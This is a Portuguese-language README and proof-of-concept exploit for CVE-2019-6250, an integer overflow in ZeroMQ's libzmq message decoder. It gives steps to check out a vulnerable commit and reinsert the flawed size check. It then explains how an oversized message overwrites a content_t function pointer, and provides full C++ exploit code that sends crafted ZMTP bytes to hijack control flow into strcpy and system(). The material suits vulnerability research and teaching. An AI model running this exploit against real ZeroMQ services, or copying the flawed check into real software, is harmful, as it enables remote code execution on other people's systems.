
Exploit de prova de conceito para CVE-2019-6250, demonstrando estouro de inteiro no libzmq do ZeroMQ levando à execução arbitrária de código por meio de mensagens manipuladas.
ZeroMQ (ZMQ) é uma biblioteca de mensagens assíncronas de alto desempenho, projetada para fornecer um mecanismo de troca de mensagens eficiente e flexível em ambientes de computação distribuída ou paralela. O ZeroMQ oferece diversos padrões de troca de mensagens (como requisição-resposta, publicação-assinatura, push-pull, proxy, etc.) e suporta múltiplos protocolos de transporte (como TCP, IPC, PGM, etc.). O objetivo de design do ZeroMQ é simplificar a programação de rede e melhorar o desempenho por meio de filas de mensagens eficientes.
libzmq é a biblioteca de implementação central do ZeroMQ, geralmente referindo-se à implementação em C da biblioteca ZeroMQ. Ela é a concretização das funcionalidades do ZeroMQ, fornecendo suporte básico para várias linguagens de programação. A libzmq oferece todas as funcionalidades principais do ZeroMQ e pode ser utilizada com diversas ligações de linguagens.
Baixar a biblioteca libzmq
git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
O autor já corrigiu a vulnerabilidade. Vá para src/v2_decoder.cpp e modifique o conteúdo da função zmq::v2_decoder_t::size_ready para o código abaixo, a fim de reproduzir a vulnerabilidade:
int zmq::v2_decoder_t::size_ready (uint64_t msg_size_,unsigned char const *read_pos_)
{
int rc = _in_progress.close ();
assert (rc == 0);
// the current message can exceed the current buffer. We have to copy the buffer
// data into a new message and complete it in the next receive.
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_
> (allocator.data () + allocator.size ())))) {
// a new message has started, but the size would exceed the pre-allocated arena
// this happens every time when a message does not fit completely into the buffer
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else {
// construct message using n bytes from the buffer as storage
// increase buffer ref count
// if the message will be a large message, pass a valid refcnt memory location as well
rc =
_in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// For small messages, data has been copied and refcount does not have to be increased
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}
if (unlikely (rc)) {
errno_assert (errno == ENOMEM);
rc = _in_progress.init ();
errno_assert (rc == 0);
errno = ENOMEM;
return -1;
}
_in_progress.set_flags (_msg_flags);
// this sets read_pos to
// the message data address if the data needs to be copied
// for small message / messages exceeding the current buffer
// or
// to the current start address in the buffer because the message
// was constructed to use n bytes from the address passed as argument
next_step (_in_progress.data (), _in_progress.size (),
&v2_decoder_t::message_ready);
return 0;
}
Instalar a biblioteca libzmq
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install
Baixar e instalar cppzmq
git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install
Substituir /demo/main.cpp pelo main.cpp neste repositório
Compilar main.cpp
cd demo
mkdir build
cd build
cmake ..
make
./demo
O conteúdo a seguir em Libzmq/src/v2_decoder.cpp apresenta um estouro de inteiro. Quando o valor de msg_size_ é muito grande, read_pos+msg_size_ acaba sendo um número muito pequeno, fazendo com que a condição if seja falsa e o programa não inicialize o tamanho da mensagem.
if (unlikely (!zero_copy
|| ((unsigned char *) read_pos + msg_size_
> (allocator.data () + allocator.size ())))) {
Portanto, é possível sobrescrever a memória após o buffer utilizando a mensagem escrita. A memória após o buffer contém uma estrutura content_t, que inclui um ponteiro de função ffn e seus parâmetros data e hint.
67 struct content_t
68 {
69 void *data;
70 size_t size;
71 msg_free_fn *ffn;
72 void *hint;
73 zmq::atomic_counter_t refcnt;
74 };
Ao controlar a mensagem transmitida, é possível sobrescrever o ponteiro de função e os parâmetros acima com funções e argumentos específicos, realizando assim o ataque.
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>
class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");
while (true) {
zmq::message_t request;
// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};
static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);
if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
{
abort();
}
const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);
const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);
uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));
/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);
close(s);
sleep(1);
}
char destbuffer[100];
char srcbuffer[100] = "ping google.com";
int main(void)
{
Thread* rt = new Thread();
sleep(1);
callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy);
callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);
return 0;
}